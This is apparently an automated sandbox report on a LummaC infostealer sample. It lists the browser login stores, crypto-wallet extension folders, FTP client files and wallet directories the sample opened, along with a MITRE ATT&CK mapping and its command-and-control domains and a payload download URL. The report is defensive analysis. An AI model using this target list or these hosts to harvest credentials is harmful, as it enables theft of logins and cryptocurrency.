Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2560488144.0000000001030000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2360077632.0000000001022000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2560781455.0000000001031000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2358320175.0000000001022000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2358596283.0000000001022000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6292, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Bypass User Account Control	361 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	361 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	223 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
crisiwarny.store	104.21.95.91	true	true		unknown
presticitpo.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
scriptyprefej.store	true	unknown
https://crisiwarny.store/api	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
navygenerayk.store	true	unknown
founpiuer.store	true	unknown
thumbystriw.store	true	unknown
crisiwarny.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exePuE	file.exe, 00000000.00000003.2736867379.000000000101C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737062814.000000000101E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2560419400.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2560419400.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/P	file.exe, 00000000.00000003.2560419400.00000000055ED000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2358262161.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apire1	file.exe, 00000000.00000003.2736509103.000000000103A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737594760.000000000103D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2737642194.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2736612020.00000000055E8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2560437569.00000000055E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2676736027.00000000055EB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2360145886.0000000005878000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/	file.exe, 00000000.00000003.2736509103.000000000103A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737594760.000000000103D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2560419400.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store:443/api	file.exe, 00000000.00000003.2737717306.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
